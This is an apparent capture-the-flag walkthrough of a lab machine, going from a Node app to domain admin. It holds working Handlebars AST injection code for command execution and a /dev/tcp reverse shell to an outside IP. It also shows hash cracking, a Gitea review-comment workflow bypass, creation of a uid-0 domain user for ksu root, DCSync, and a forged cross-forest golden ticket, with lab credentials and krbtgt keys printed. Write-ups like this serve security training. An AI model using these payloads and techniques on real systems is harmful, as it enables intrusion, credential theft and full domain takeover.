tl;dr
the public host only exposes ssh and an nginx site for dzcampaigns.htb. after
registering a normal account, the character editor accepts campaign_message as
json, not only form text, and that value is fed to handlebars. normal prototype
chain payloads are blocked, but a supplied handlebars ast still gets compiled,
and a poisoned NumberLiteral.value is emitted into the generated javascript.
that gives command exec as the darkzero service user. the node process leaks
mysql creds in its environment, the app database holds bcrypt hashes, and josh's
hash cracks to Rangers1. josh is a domain user in RepoAudit, so ssh plus
kerberos gets me into the private gitea repo.
from there, a fork pr cannot run the normal workflow because fork workflows need
approval, but a workflow added in the fork that triggers on
pull_request_review_comment runs when josh submits a comment review. that job
lands on the domain runner as svc-runner, where the user flag lives. the runner
has kerberos creds and rights to create users in a migration ou, so i create a
domain user literally named root with uid 0, authenticate it, and ksu becomes
local root on SRV01. root can read an old sql backup, which leaks a deleted celia
app account whose bcrypt cracks to babygurl13; celia is a domain admin in
DARKZERO.EXT. dcsync gives the source krbtgt key, the forest trust to
DARKZERO.HTB allows an extra sid ticket for the target
InfrastructureAdministrators group, and that group is in Backup Operators. with
backup intent over smb, i read Administrator's desktop flag from C$. that's
root.
recon
nmap
full port scan first:
nmap -Pn -p- --min-rate 5000 10.129.44.218
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
version/script pass:
nmap -Pn -sT -p22,80 -sC -sV 10.129.44.218
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http nginx 1.24.0 (Ubuntu)
port 80 redirects to the real vhost:
curl -i -L http://10.129.44.218/
HTTP/1.1 302 Moved Temporarily
Location: http://dzcampaigns.htb/
so add it locally, or just use curl's resolver:
--resolve dzcampaigns.htb:80:10.129.44.218
open ports / services
| port | service | notes |
|---|---|---|
| 22 | ssh | openssh 9.6p1 on ubuntu |
| 80 | http | nginx in front of DarkZero Campaigns |
the web app is a node/express style site, mostly obvious from the dz.sid cookie
and weak etags. unauthenticated pages expose a campaign route and a login, so i
registered a normal account and moved from there.
app enum: account features and handlebars
after registering:
darkzeroreturn@example.htb
darkzero
DarkZeroReturn!2026
the authenticated routes were all around characters:
/dashboard
/character/new
/character
/character/<id>/edit
/character/<id>
/character/<id>/delete
/character/<id>/inventory
/character/<id>/inventory/<item_id>
/character/<id>/inventory/<item_id>/delete
the interesting field is campaign_message. string payloads in that field are
compiled as handlebars templates and rendered back into /campaign/1. classic
handlebars prototype tricks did not work because prototype methods like split
were not resolving. the app did accept json though, and that changed the shape of
the bug.
foothold: handlebars ast compilation rce (80)
-
Vuln/vector:
campaign_messagecan be posted as a parsed handlebars ast object over json. handlebars trusts that object and compiles it as if it had produced the ast itself. by replacing aNumberLiteral.valuewith raw javascript, the value is emitted into the compiled template and executed during render. the app tried to block the older prototype chain payloads, but it still trusted attacker supplied ast nodes. -
Steps:
first, send a harmless ast and confirm that the server compiles it:
node - <<'JS' | curl -sS --resolve dzcampaigns.htb:80:10.129.44.218 \
-b /tmp/dzr_cookiejar -c /tmp/dzr_cookiejar \
-X POST http://dzcampaigns.htb/character/16 \
-H 'Content-Type: application/json' --data-binary @-
const h = require('/tmp/dzr_hb/node_modules/handlebars');
const ast = h.parse('{{#if 1}}ASTOK{{/if}}');
console.log(JSON.stringify({
_csrf: '<csrf>',
name: 'Baseline',
race: 'Human',
class: 'Wizard',
backstory: 'baseline test',
campaign_message: ast
}));
JS/campaign/1 renders:
ASTOK
then swap the numeric literal for a command expression:
const h = require('/tmp/dzr_hb/node_modules/handlebars');
const cmd = 'id';
const ast = h.parse('{{#with 1}}{{this}}{{/with}}');
ast.body[0].params[0].value =
`(process.mainModule.require('child_process').execSync(${JSON.stringify(cmd)}).toString())`;
ast.body[0].params[0].original = ast.body[0].params[0].value;that came back as the app user:
uid=996(darkzero) gid=987(darkzero) groups=987(darkzero)
hostname: SRV01
cwd: /opt/DarkZero_Campaigns
for a shell, the same primitive can call child_process.exec:
(process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.15.3/4444 0>&1"'),1)nc -lvnp 4444
darkzero@srv01:/opt/DarkZero_Campaigns$
darkzero to josh: mysql creds and bcrypt crack
-
Vuln/vector: the node service keeps database credentials in its process environment. the mysql database stores application user bcrypt hashes, and josh's password is weak enough to crack with rockyou. that password is reused for the domain account, which gives ssh and kerberos access to the internal gitea path.
-
Steps:
dump the service environment:
DB_HOST=localhost
DB_NAME=darkzero_campaigns
DB_PASSWORD=C4ntFindMyDMpass!
DB_USER=darkzero
SESSION_SECRET=DarkSession312
PORT=8081
NODE_ENV=production
mysql is only local:
ss -ltnp
127.0.0.1:8081 node app
127.0.0.1:3306 MySQL
0.0.0.0:22 SSH
0.0.0.0:80 nginx
log in and dump the users:
MYSQL_PWD='C4ntFindMyDMpass!' mysql -h localhost -u darkzero darkzero_campaignsadmin@dzcampaigns.htb admin $2b$10$HDdWzYvp1IWFD9TB4JsuCerlh.vKchv/LmBruCmKGH19hPP7IXvjm
josh@dzcampaigns.htb josh $2b$10$kX7QPjPIQI5hxJWV4a0HpO7UcdstuwLxP51LhHPFP5ceATiOKmVbK
crack the hashes:
john --wordlist=/home/wock/checkpoint/rockyou.txt dzr_hashes.txtjosh:Rangers1
the db password did not work for ssh, but josh's cracked app password did:
ssh josh@10.129.44.218
uid=780601110(josh) gid=780600513(domain users) groups=domain users,repoaudit
kerberos works too:
kinit josh@DARKZERO.EXT
the user flag is not in josh's home. that matters later, because josh is only the repo audit hop.
josh to svc-runner: gitea review workflow bypass
-
Vuln/vector: josh can read the private
DarkZero/DarkZero-Campaignsrepo and create pull requests, but he cannot push to the upstream repo and normal fork pr workflows require approval. gitea still allowed a workflow introduced in the fork to run on a review comment event. submitting a comment only review as josh fired the fork'spull_request_review_commentworkflow on the self hosted domain runner, so the job executed assvc-runner. -
Steps:
internal dns exposes gitea:
gitea.darkzero.ext -> 172.16.20.2
http://gitea.darkzero.ext:3000/
Gitea version: 1.25.0
local throwaway accounts can sign up, but they cannot reach the runner. josh is
the useful account because sssd shows he is in RepoAudit:
josh groups=domain users, repoaudit
william groups=domain users, giteaadmins
celia groups=domain users, domain admins, giteaadmins
svc-runner groups=domain users, servicehandler
through josh, the private repo is visible:
DarkZero/DarkZero-Campaigns
.gitea/workflows/main.yml
runs-on: ubuntu
steps: checkout, setup-node, npm ci, npm test, npm run build
josh's repo permissions are read only:
pull=true
push=false
admin=false
a normal fork pr stayed blocked:
Need approval to run workflows for fork pull request.
so i added a workflow to the fork that triggers on review activity:
on:
pull_request_review:
types: [submitted]
pull_request_review_comment:
types: [created]then submitted a comment only review to my own pr:
curl -s -X POST \
http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/3/reviews \
-H 'Content-Type: application/json' \
-d '{"event":"COMMENT","body":"validation note"}'the normal workflow was still blocked, but the review workflow ran:
run #6 -> review.yml, success
event -> pull_request_review_comment
runner -> ubuntu-domain-runner(version:v0.3.0)
identity -> uid=780601113(svc-runner) gid=780600513(domain users) groups=domain users,ServiceHandler
workdir -> /opt/gitea-runner/.cache/act/fb237a5be24f93fe/hostexecutor
the user flag was on the runner account:
cat /home/svc-runner/user.txt
- user flag:
[redacted]
to make the shell stable, i updated the same workflow to append my public key to
/home/svc-runner/.ssh/authorized_keys, triggered another review comment, and
logged in directly:
ssh -i /home/wock/dzr_svc_key svc-runner@10.129.44.218
svc-runner to local root: kerberos unix identity abuse
-
Vuln/vector: the runner service has a kerberos cache from its keytab and can create users in
OU=GiteaMigration. SRV01 uses sssd with short names and has MITksuinstalled suid root. by creating a domain account namedrootwith unix uid 0 and gid 0, then authenticating as that principal,ksumaps the kerberos identity to the local root account and changes uid to 0. -
Steps:
the runner unit tells the story:
gitea-runner.service
User=darkzero-ext\svc-runner
Environment=KRB5CCNAME=/tmp/krb5cc_gitea
ExecStartPre=/usr/bin/kinit -kt /etc/gitea-runner/svc-runner.keytab svc-runner
ExecStart=/opt/gitea-runner/act_runner daemon --config /opt/gitea-runner/config.yaml
important local details:
/usr/bin/ksu.mit is SUID root
/etc/sssd/sssd.conf: use_fully_qualified_names=False, id_provider=ad
custom OU: OU=GiteaMigration,DC=darkzero,DC=ext
create the domain user:
samba-tool user create root 'R00tPassw0rd!2026' \
--userou='OU=GiteaMigration' \
--use-kerberos=required \
--use-krb5-ccache=/tmp/krb5cc_gitea \
-H ldap://dc02.darkzero.ext \
--use-username-as-cn \
--nis-domain=darkzero \
--unix-home=/root \
--uid=root \
--uid-number=0 \
--gid-number=0 \
--login-shell=/bin/bashthen authenticate it and ask ksu to switch:
printf 'R00tPassw0rd!2026\n' | kinit root@DARKZERO.EXT
ksu root -n root@DARKZERO.EXTAuthenticated root@DARKZERO.EXT
Account root: authorization for root@DARKZERO.EXT successful
Changing uid to root (0)
uid=0(root) gid=0(root) groups=0(root)
after adding an ssh key for stable root, restore the runner kerberos cache so the service keeps working:
KRB5CCNAME=/tmp/krb5cc_gitea kinit -kt /etc/gitea-runner/svc-runner.keytab svc-runner
chown svc-runner:'domain users' /tmp/krb5cc_gitea
chmod 600 /tmp/krb5cc_gitearoot to celia: old backup, deleted admin creds
-
Vuln/vector: local root can read an old application database backup under
/root. the backup includes deleted or archived app users that were not in the live database. celia's bcrypt hash cracks quickly, and the same password works for her domain account. celia is both a gitea admin and a domain admin. -
Steps:
the backup:
/root/darkzero_campaigns_backup.sql
deleted users inside it:
celia.p@dzcampaigns.htb / celia
$2b$10$2L.IKTOkBtwtWuKcAF/VJ.kUKiBHLQ8hPeg2KYJJXFOUdga2iLsoC
jerry.ap@dzcampaigns.htb / jerry
$2b$10$otSLTatDHIAAp3H58YYaTOgdhMlpbWBTEq1.MWFq5se6OOG3nV2Wy
top 100k rockyou was enough:
celia:babygurl13
ldap confirms why she matters:
CN=celia,CN=Users,DC=darkzero,DC=ext
memberOf: CN=GiteaAdmins,CN=Users,DC=darkzero,DC=ext
memberOf: CN=Domain Admins,CN=Users,DC=darkzero,DC=ext
celia to final flag: dcsync, forest trust, backup intent
-
Vuln/vector: celia can dcsync
DARKZERO.EXT, so i get the source domain krbtgt keys. that domain has a bidirectional forest trust withDARKZERO.HTB. by forging a source domain golden ticket with the target domain'sInfrastructureAdministratorssid as an extra sid, kerberos referral across the trust gives access todc01.darkzero.htb. that group is a member of Backup Operators in the target domain, so it cannot exec through wmi or psexec, but it can read protected files over smb when the file is opened with backup intent. -
Steps:
dcsync as celia:
secretsdump.py DARKZERO.EXT/celia:'babygurl13'@172.16.20.2 -just-dc-user krbtgtimportant values:
DARKZERO.EXT domain SID: S-1-5-21-2850783758-1231244658-2051857529
krbtgt NT: 8beaf5f950fefe79f608390a806d29a7
krbtgt AES256: 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6
the full dump also exposed useful service secrets:
_SC_Gitea -> darkzero-ext\svc-gitea:SMvUAmVFTY7!
darkzero$ NT: 2df6a35394353e904db279359c14080b
darkzero$ AES256: ff0618a2d18360683b197232b262feae9a749325343e9ab68e22f681b4dc83a7
trust info:
trustPartner: darkzero.htb
trustDirection: 3
trustType: 2
trustAttributes: 8
target DC: dc01.darkzero.htb -> 172.16.20.1
target domain SID: S-1-5-21-2899195410-1848524783-1547768515
InfrastructureAdministrators RID: 1603
InfrastructureAdministrators is memberOf target Backup Operators
forge the source domain ticket with the target extra sid:
ticketer.py \
-aesKey 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6 \
-domain-sid S-1-5-21-2850783758-1231244658-2051857529 \
-domain DARKZERO.EXT \
-extra-sid S-1-5-21-2899195410-1848524783-1547768515-1603 \
AdministratorMIT kerberos followed the referral cleanly where the quick impacket path did not. the krb5 config pinned both realms:
[libdefaults]
default_realm = DARKZERO.EXT
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
forwardable = true
udp_preference_limit = 0
[realms]
DARKZERO.EXT = {
kdc = 172.16.20.2
}
DARKZERO.HTB = {
kdc = 172.16.20.1
}
[domain_realm]
.darkzero.ext = DARKZERO.EXT
darkzero.ext = DARKZERO.EXT
.darkzero.htb = DARKZERO.HTB
darkzero.htb = DARKZERO.HTBthen request the target cifs service ticket:
KRB5_CONFIG=/tmp/krb5_cross.conf KRB5CCNAME=/tmp/Administrator.ccache \
kvno cifs/dc01.darkzero.htb@DARKZERO.HTBkrbtgt/DARKZERO.HTB@DARKZERO.EXT acquired from 172.16.20.2
cifs/dc01.darkzero.htb@DARKZERO.HTB acquired from 172.16.20.1
the ticket can list admin shares:
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
but it is not full local admin:
wmiexec -> WBEM_E_ACCESS_DENIED
psexec -> shares not writable
standard impacket smbclient could list C$, but it could not read the protected
desktop flag because it does not set backup intent. a small impacket reader that
uses SMBConnection.openFile(..., creationOption=FILE_NON_DIRECTORY_FILE|FILE_OPEN_FOR_BACKUP_INTENT)
does the right kind of open for Backup Operators.
target path:
C:\Users\Administrator\Desktop\root.txt
- root flag:
[redacted]